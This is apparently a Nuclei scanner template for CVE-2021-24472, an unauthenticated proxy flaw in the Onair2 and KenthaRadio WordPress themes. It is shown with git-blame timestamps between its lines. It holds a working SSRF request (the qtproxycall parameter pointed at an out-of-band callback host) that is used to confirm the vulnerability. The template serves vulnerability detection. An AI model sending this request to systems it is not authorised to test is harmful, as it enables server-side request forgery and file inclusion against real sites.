2021-07-13 13:50:10 +00:00
id : CVE-2021-24472
2021-07-13 13:12:05 +00:00
info :
2022-05-09 16:12:52 +00:00
name : Onair2 < 3.9.9.2 & KenthaRadio < 2.0.2 - Remote File Inclusion/Server-Side Request Forgery
2022-04-22 10:38:41 +00:00
author : Suman_Kar
2021-09-10 11:26:40 +00:00
severity : critical
2022-05-09 16:12:52 +00:00
description : Onair2 < 3.9.9.2 and KenthaRadio < 2.0.2 have exposed proxy functionality to unauthenticated users. Sending requests to this proxy functionality will have the web server fetch and display the content from any URI, allowing remote file inclusion and server-side request forgery.
2022-04-22 10:38:41 +00:00
reference :
- https://wpscan.com/vulnerability/17591ac5-88fa-4cae-a61a-4dcf5dc0b72a
2022-05-09 16:12:52 +00:00
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24472
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2021-24472
cwe-id : CWE-918
2022-08-27 04:41:18 +00:00
tags : wordpress,lfi,ssrf,oast,wpscan,cve,cve2021
2021-07-13 13:12:05 +00:00
requests :
- raw :
- |
2021-07-13 13:50:10 +00:00
GET /?qtproxycall=http://{{interactsh-url}} HTTP/1.1
2021-07-13 13:12:05 +00:00
Host : {{Hostname}}
Origin : {{BaseURL}}
matchers-condition : and
matchers :
- type : word
2021-07-13 13:50:10 +00:00
part : interactsh_protocol # Confirms the HTTP Interaction
2021-07-13 13:12:05 +00:00
words :
2021-07-13 13:50:10 +00:00
- "http"
2021-07-13 13:12:05 +00:00
- type : status
status :
2021-07-13 13:51:21 +00:00
- 200
2022-05-09 16:12:52 +00:00
# Enhanced by mp on 2022/05/05
